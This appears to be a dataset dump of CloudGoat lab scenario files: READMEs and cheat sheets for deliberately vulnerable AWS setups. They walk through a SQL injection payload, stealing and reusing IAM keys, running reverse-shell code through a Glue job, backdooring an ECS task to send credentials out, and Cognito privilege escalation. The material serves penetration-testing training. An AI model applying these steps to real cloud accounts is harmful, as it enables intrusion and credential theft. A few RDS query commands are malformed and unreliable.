deardaniel/secdata-raw huggingface dataset:
README

# Scenario : Glue_privesc

**Size:** Large

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create glue_privesc`

## Scenario Resources

- 1 VPC with:
    - S3  x 1
    - RDS x1
    - EC2 x1
    - Glue service
- Lambda x1
- SSM parameter Store
- IAM Users x 2

## Scenario Start(s)

Web address

## Scenario Goal(s)

Find a secret string stored in the ssm parameter store

## Summary

There is an environment that is implemented as shown in the schematic drawing below. Glue service manager will accidentally upload their access keys through the web page. The manager hurriedly deleted the key from s3, but does not recognize that the key was stored in the DB.

Find the manager's key and access the ssm parameter store with a vulnerable permission to find the parameter value named “flag”.

> *Note*: The web page and the glue ETL job used in this scenario require some latency. The web page requires 1 minute after applying, and Glue requires 3 minutes after uploading the file. If the data file is not applied properly, please wait a little longer!



## Schematic drawing

![Schematic drawing](assets/schematic.png)

## Exploitation Route(s)

![Scenario Route(s)](assets/exploitation_route.png)

## Route Walkthrough

※ The attacker identifies the web page functionality first. When you upload a file, it is stored in a specific s3, and you can see that the data in that file is applied to the monitoring page.

1. The attacker steals the Glue manager's access key and secret key through a SQL Injection attack on the web page.
2. The attacker checks the policies and permissions of the exposed account to identify any vulnerable privileges. Through these privileges, the attacker discovers the ability to create and execute a job that can perform a reverse shell attack, enabling them to obtain the desired role simultaneously.
3. List the roles to use "iam:passrole," write the reverse shell code, and insert this code file (.py) into S3 through the web page.
4. In order to gain SSM access, Perform the creation of a Glue service job via AWS CLI, which also executes the reverse shell code.
5. Execute the created job.
6. Extract the value of “flag”(parameter name) from the ssm parameter store.

**A cheat sheet for this route is available [here](./cheat_sheet.md)**
cheat sheet

1. Sql Injection attack using burp suite

`' 1=1-- -`

2. Check glue administrator information

`aws configure --profile [glue_manager]`

3. Username Verification

`aws --profile [glue_manager] sts get-caller-identity`

4. Check inline policies

`aws --profile [glue_manager] iam list-user-policies --user-name [glue_username]`

5. Read more about inline policies

`aws --profile [glue_manager] iam get-user-policy --user-name [glue_username] --policy-name [inline_policy_name]`

6. Check the bucket granted to the privilege

`aws --profile [glue_manager] s3 ls s3://[bucket_name]`

7. Listing roles for using iam:passrole

`aws --profile [glue_manager] iam list-roles`

8. Inquiry permissions for roles

`aws --profile [glue_manager] iam list-attached-role-policies --role-name [role_name]`

9. Uploading reverse shell code(rev.py) created on the webpage

10. Create a glue job that executes reverse shell code

`aws --profile [glue_manager] glue create-job --name [job_name] --role [role_arn] --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://[bucket_name]/[reverse_shell_code_file]"}'`

11. Run a job

`aws --profile [glue_manager] glue start-job-run --job-name [job_name]`

12. Accessing SSM parameters

`aws ssm get-parameter --name flag`
README

# Scenario: RDS_snapshot

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create RDS_snapshot`

## Scenario Resources

* 1 VPC with:
  * EC2 x 1
  * S3 x 1
  * RDS x 1
* 1 IAM Users

## Scenario Start(s)

1. IAM User "David"

## Scenario Goal(s)

Get the flags that are included in the RDS snapshot.

## Summary


Starting with access to EC2, the user can leverage the privileges of the EC2 instance to steal credentials from S3. 

With the stolen credentials, the attacker can gain RDS Snapshot restore privileges, which will allow them to access the DB and retrieve flags.
## Exploitation Route(s)

![Scenario Route(s)](https://github.com/RhinoSecurityLabs/cloudgoat/assets/55736240/bff418b2-f656-4851-9f8d-00288c66e3fa)




## Route Walkthrough - IAM User “David”

1. the attacker gains access to the hijacked EC2 instance.
2. The attacker accesses S3 on the compromised EC2 instance and retrieves credentials.
3. The attacker uses the stolen credentials to locate and access the AWS Relational Database Service (RDS).
4. The attacker verifies that an RDS snapshot exists.
5. The attacker restores the RDS snapshot and hijacks the DB containing customer data (Flag).

A cheat sheet for this route is available [here](./cheat_sheet.md).
cheat sheet

## Cheat Sheet


An attacker can gain access to a hijacked EC2 instance.


`cd RDS_Snapshot_cgid528tilly5h`


`ssh ec2-user@54.242.220.178 -i ./cloudgoat`


```
[ubuntu@ip-172-31-20-221 ~]$
```


An attacker can list AWS credentials on the server (enumirate)


`aws sts get-caller-identity`


The attacker can check the permissions for the roles granted on EC2.


```
#Check the instance profiles
aws iam list-instance-profiles

aws iam list-role-policies --role-name cg-ec2-admin-role

aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy
```


The attacker sees that S3 is accessible and steals the credentials.
```
aws s3 ls

aws s3 cp s3://cloudgoat/access_keys.txt .
```
The attacker accesses the stolen credentials.
```
aws configure --profile david
```
The attacker checks the permissions of the stolen credentials.
```
aws iam get-user --profile david


aws iam list-user-policies --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --profile david


aws iam get-user-policy --user-name cg-rds-instance-user-RDS_Snapshot_cgidy7ybygks75 --policy-name cg-david-policy --profile david


# The attacker verifies that he has RDS-related privileges
```

The attacker restores the RDS snapshot.

```
#Verify the information in the RDS snapshot
aws rds describe-db-instances --profile david

aws rds describe-db-snapshots --db-instance-identifier cg-rds


#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier attack-rds \
    --db-snapshot-identifier cg-rds-snapshot \
    --db-subnet-group-name cg-db-subnet-group \
    --vpc-security-group-ids sg-xxxxxxxxxxxxxxxxx \
    --profile david


#Wait for a new instance to be created


#Modify the RDS instance password
aws rds modify-db-instance \
    --db-instance-identifier attack-rds \
    --master-user-password attack1234! \
    --apply-immediately \
    --profile david


#Verify the master username
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.1].1
"DBInstances[].MasterUsername" --profile david


#Determine the MySQL endpoint address
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.
"DBInstances[].Endpoint.Address" --profile david


```


The attacker accesses the restored DB and hijacks the FLAG.
```
mysql -h attack-rds.cxxxxxxxxxxx.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!
show databases;
use mydatabase;
show tables;
select * from flag;
```
# Caveats
At the end of the scenario, the instance created by the Restore job is not deleted by ./cloudgoat.py destroy rds_snapshot. You need to delete it manually.
README


# Scenario: iam_privesc_by_key_rotation

**Size:** Small  
**Difficulty:** Easy

**Command:** `./cloudgoat.py create iam_privesc_by_key_rotation`

## Scenario Resources

- 3 IAM User
- 1 IAM Role
- 1 Secret

## Scenario Start(s)

1. IAM User "manager"

## Scenario Goal(s)

Retrieve AWS secret

## Summary

Exploit insecure IAM permissions to escalate your access. Start with a role that manages other users credentials and find a weakness in the setup to access the "admin" role. Using the admin role retrieve the flag from secretsmanager.

## Walkthrough & Exploitation Routes

<details>
  <summary>Spoiler warning</summary>
  
  1. Starting with the manager user add a tag to the admin user
  2. Delete and add a new access key to the admin user
  3. Create and attach a MFA device to the admin user
  4. Switch to the admin user
  5. Assume the secretsmanager role with MFA
  6. Retrieve the secret

  A full cheat_sheet can be found [here](./cheat_sheet.md)

  ![Scenario Route(s)](image.jpeg)  
</details>
README

# Scenario: [SCENARIO_NAME]

**Size:** Small/Medium/Large

**Difficulty:** Easy/Moderate/Hard

**Command:** `./cloudgoat.py create [SCENARIO_NAME]`

## Scenario Resources

- 1 [RESOURCE_TYPE]
- 1 [RESOURCE_TYPE]
- 1 [RESOURCE_TYPE]
- 1 [RESOURCE_TYPE]
- 1 [RESOURCE_TYPE]

## Scenario Start(s)

1. AWS Access Key and Secret Key

## Scenario Goal(s)

[SCENARIO_GOAL]

## Summary

In this scenario, you are given AWS credentials. Your task is to...

## Exploitation Route

A flowchart illustrating the routes the attacker may take when completing the scenario. Lucidchart is recommended.

![Scenario Route(s)](https://rhinosecuritylabs.com/wp-content/uploads/2018/07/cloudgoat-e[PII_REDACTED]02-1140x400.jpg)

## Walkthrough - [SERVICE] Secrets

Include a high level overview of the attack path here. 

1. Start by...
2. ...
3. ...
4. ...
5. ...
6. ...
7. ...
8. ...

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).
cheat sheet

# [SCENARIO NAME] Walkthrough

## Summary

In this scenario, you are provided with.... You need to enumerate... Then, use the ... Finally, do this to get the final flag. 

## Detailed Walkthrough

The purpose of CloudGoat is to help people learn AWS Pentesting. Provide a detailed walkthrough for the scenario with this goal in mind. A good example to refer to is the walkthrough for the [SNS Secrets scenario](https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/sns_secrets/cheat_sheet.md)
README

# Scenario: ecs_efs_attack

**Size:** Large

**Difficulty:** Hard

**Command:** `$ ./cloudgoat.py create ecs_efs_attack`

## Scenario Resources

- 1 VPC with:
	- EC2 x 2
	- 1 ECS Cluster
	- 1 ECS Service 
	- 1 EFS

## Scenario Start(s)

1. SSH access to "Ruse_Box" EC2

## Scenario Goal(s)

Mount the "cg-efs-[CG_ID]" efs and obtain the flag.

## Summary

Starting with accessing the "ruse" EC2 the user leverages the instance profile to backdoor the running ECS container. Using the backdoored container the attacker can retrieve credentials from the container metadata API. These credentials allow the attacker to start a session on any EC2 with the proper tags set. The attacker uses their permissions to change the tags on the Admin EC2 and starts a session. Once in the Admin EC2 the attacker will port scan the subnet for an open EFS to mount. Once mounted the attacker can retrieve the flag from the elastic file system.

## Exploitation Route(s)

![Scenario Route(s)](assets/diagram.png)

## Route Walkthrough 

1. Access the "Ruse_Box" ec2 using the provided access key.
2. From the ec2 enumerate permission. Then list available ec2 and note how the tags are configured.
3. From the current ec2 enumerate existing ecs cluster and backdoor the existing task definition.
4. Update the existing service in the ecs cluster to execute the payload.
5. From the container credentials use the SSM:StartSession privilege to access the admin_box.
6. Port scan the subnet to find available efs and mount.

**A cheat sheet for this route is available [here](./cheat_sheet.md).**
cheat sheet

1. Connect to the start ec2 "Ruse_Box" using the public IP and SSH key provided.

    `ssh -i cloudgoat ubuntu@<IP ADDRESS>`

2. Configure the role credentials 

    `aws configure --profile ruse`

3. List the privileges 
`aws iam list-policies --profile ruse`

4. List ec2 instances 

    `aws ec2 describe-instances --profile ruse `

5. List all available ECS clusters 

    `aws ecs list-clusters --profile ruse`

6. List services in cloudgoat cluster

    `aws ecs list-services --cluster <CLUSTER NAME> --profile ruse`

7. Download task definition 

    `aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION> --profile ruse > task_def.json `

8. Download template to register a new task

    `aws ecs register-task-definition --generate-cli-skeleton --profile ruse > task_template.json`

9. Now use task_def.json to fill out template.json with the desired payload. Reference our blog for details [here](https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/)

10. Now register the template to replace the currently running task.

    `register-task-definition --cli-input-json file://task_template.json  --profile ruse`

11. Update the ECS service with the newly registered task definition.

    `aws ecs update-service --cluster <CLUSTER NAME> --service <SERVICE NAME> --task-definition <NEW TASK DEFINITION NAME>`

12. Wait for the task to run and POST the credentials to your listener

13. With the new creds add them to "ruse_box"

    `aws configure --profile ecs`

14. Modify admin ec2 tags

    `aws ec2 create-tags --resources <INSTANCE ID> --tags Key=StartSession,Value=true`

15. Using ecs creds start a session on admin ec2 

    `aws ssm start-session --target <INSTANCE ID> --profile ecs`

16. Looking at the ec2 instances we see the admin ec2 only has a single port open. We Nmap scan this port.

    `nmap -Pn -P 2049 --open 10.10.10.0/24 `

17. Mount discovered ec2 

    `cd /mnt`
`sudo mkdir /efs`
`sudo mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport <IP ADDRESS OF EFS>:/ efs`
README

# Scenario: Static

**Size:** Small

**Difficulty:** Moderate

**Command:** `cloudgoat create static`

## Scenario Resources

- 1 EC2 Instance (Web Server + Automated Bot)
- 1 S3 Bucket (Static Assets)
- 1 IAM Role
- 1 IAM Instance Profile
- 1 VPC (Subnet, Security Group, Internet Gateway)

## Scenario Start(s)

1. The Public IP/URL of the "Hacksmarter Internal Portal" (Output by Terraform)

## Scenario Goal(s)

Compromise the web application's supply chain to harvest the credentials of the automated administrator bot.

## Summary

In this scenario, you act as an external attacker visiting a corporate portal. By analyzing the web application, you identify that it loads critical JavaScript libraries from a public S3 bucket. You must discover a misconfiguration in the bucket's permissions, perform a "Supply Chain Attack" by overwriting the library with malicious code, and wait for an internal administrator bot to log in. Your goal is to capture the bot's credentials and exfiltrate them back to the bucket.

## Exploitation Route

1. **Reconnaissance:** User visits Web Server -> Identifies S3 Bucket in Source Code.
2. **Enumeration:** User checks S3 Bucket permissions -> Finds Anonymous Write Access.
3. **Exploitation:** User uploads malicious `auth-module.js` to S3 -> Overwrites legitimate file.
4. **Execution:** Admin Bot visits Web Server -> Loads malicious JS from S3 -> Script steals credentials.
5. **Exfiltration:** Malicious JS writes `loot.txt` back to the S3 Bucket.
6. **Collection:** User downloads `loot.txt` to get the flag.

## Walkthrough - S3 Static Asset Hijacking

1. Access the provided web server URL.
2. Inspect the page source code to identify external scripts loading from an S3 bucket.
3. Use the AWS CLI (with `--no-sign-request`) to list the bucket contents and identify the bucket name.
4. Test the bucket permissions to discover that it allows anonymous `PutObject` access.
5. Create a malicious JavaScript payload (`malicious_auth.js`) designed to capture login forms and exfiltrate the data.
6. Upload your payload to the bucket, overwriting the legitimate `auth-module.js` file.
7. Wait 1-2 minutes for the automated "Victim Bot" to visit the page and attempt to log in.
8. Check the S3 bucket for a new `loot.txt` file containing the stolen credentials.

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).
README


# Scenario: vulnerable_cognito

**Size:** Small

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create vulnerable_cognito`

## Scenario Resources

- 1 S3 bucket
- 1 Cognito Userpool
- 1 Cognito IdentityPool
- 1 API Gateway REST API
- 1 Lambda
- 1 IAM role

## Scenario Start(s)

1. API Gateway URL

## Scenario Goal(s)

Get Cognito IdentityPool credentials.

## Summary

In this scenario, you are presented with a signup and login page with AWS Cognito in the backend.
You need to bypass restrictions and exploit misconfigurations in Amazon Cognito in order to
elevate your privileges and get Cognito Identity Pool credentials.

## Exploitation Route(s)

![Lucidchart Diagram](exploitation_route.png "Exploitation Route")


## Walkthrough - Vulnerable Cognito

0. Visit the link generated by the 'cloudgoat create vulnerable_cognito' in a browser. It's called 'apigateway_url'.
1. Starting with a Login and Signup form, the attacker tries to signup using an email but receives an email validation error.
2. The attacker opens source code of webpage to get Cognito Userpool client ID.
3. The attacker then uses AWS CLI to sign up and confirm email manually to bypass client-side validation check for the email.
4. Attacker logs in and gets redirected to "reader.html" webpage which does not contain any useful information. In Burp Suite, attacker finds a custom user attribute added after email confirmation.
5. The attacker then updates the custom attribute value using AWS CLI to escalate privileges.
6. Attacker logs in again and finds an Identity Pool session being established in Burp Suite which contains AWS Access keys in response.
7. Attacker collects the credentials and runs enumerate-iam script to check privileges.

A cheat sheet for this route is available [here](./cheat_sheet.md).
cheat sheet

`aws cognito-idp sign-up --client-id [ClientID] --username [Username] --password [Password] --user-attributes '[{"Name":"given_name","Value":"lorem"},{"Name":"family_name","Value":"ipsum"}]'`

`aws cognito-idp confirm-sign-up --client-id [ClientID] --username [Username] --confirmation-code [ConfirmationCode]`

`aws cognito-idp get-user --access-token [AccessToken]`

`aws cognito-idp update-user-attributes --access-token [AccessToken] --user-attributes '[{"Name":"custom:access","Value":"admin"}]'`

`aws cognito-identity get-id --region [region] --identity-pool-id '[IdentityPool_Id]' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}"`

`aws cognito-identity get-credentials-for-identity --region [region] --identity-id '[Id-found]' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}"`
ATTACK MATRIX

### Scenario: `beanstalk_secrets`

**Description:**  
An attacker with low-privileged AWS credentials enumerates Elastic Beanstalk environments, extracts IAM credentials from misconfigured environment variables, escalates privileges by creating access keys for an admin user, and finally retrieves sensitive data from AWS Secrets Manager.

| Tactic              | Technique ID | Technique Name                                         | Justification                                                                                 |
|---------------------|--------------|--------------------------------------------------------|-----------------------------------------------------------------------------------------------|
| Initial Access       | T1078.004    | Valid Accounts: Cloud Accounts                         | The scenario starts with pre-existing IAM credentials for a low-privileged user.              |
| Discovery            | T1526        | Cloud Service Discovery                                | Elastic Beanstalk environments are enumerated via `elasticbeanstalk__enum`.                  |
| Credential Access    | T1552.001    | Unsecured Credentials: Environment Variables           | IAM credentials are exposed via Elastic Beanstalk environment variables.                      |
| Discovery            | T1087.004    | Account Discovery: Cloud Account                       | IAM users and roles are enumerated using secondary credentials to identify admin.             |
| Privilege Escalation | T1098.001    | Account Manipulation: Create Account Access Key        | `iam:CreateAccessKey` is used to generate credentials for an administrator user.              |
| Collection           | T1555        | Credentials from Password Stores                       | Secrets are retrieved from AWS Secrets Manager using admin-level credentials.                 |
README

# Scenario: beanstalk_secrets

**Size:** Medium

**Difficulty:** Moderate

**Command:** `./cloudgoat.py create beanstalk_secrets`

## Scenario Resources

- 1 VPC
- 1 Elastic Beanstalk Environment
- 1 IAM Low-Privilege User
- 1 IAM Secondary User
- 1 AWS Secrets Manager Secret

## Scenario Start(s)

1. AWS Access Key and Secret Key for the low-privileged user.

## Scenario Goal(s)

Retrieve the final flag from AWS Secrets Manager by escalating privileges from a low-privileged user to an administrator account.

## Summary

In this scenario, you are provided with low-privileged AWS credentials that grant limited access to Elastic Beanstalk. Your task is to enumerate the Elastic Beanstalk environment and discover misconfigured environment variables containing secondary credentials. Using these secondary credentials, you can enumerate IAM permissions to eventually create an access key for an administrator user. With these admin privileges, you retrieve the final flag stored in AWS Secrets Manager.

## Exploitation Route


![Flowcharts](https://github.com/user-attachments/assets/cf16f767-d8b3-436f-9812-c2d06ea0876b)



## Walkthrough - Elastic Beanstalk Secrets

1. Start by using the provided low-privileged AWS credentials.
2. Verify access with `aws sts get-caller-identity`.
3. Enumerate Elastic Beanstalk applications and environments using Pacu’s `elasticbeanstalk__enum` module.
4. Identify the EB environment with misconfigured environment variables that store secondary credentials.
5. Use the secondary credentials to enumerate IAM resources and permissions.
6. Discover that you can create an access key for an administrator user using the `iam:CreateAccessKey` permission.
7. Generate an admin access key and take over the account.
8. Finally, use the admin privileges to retrieve the final flag from AWS Secrets Manager.

A detailed cheat sheet & walkthrough for this route is available [here](./cheat_sheet.md).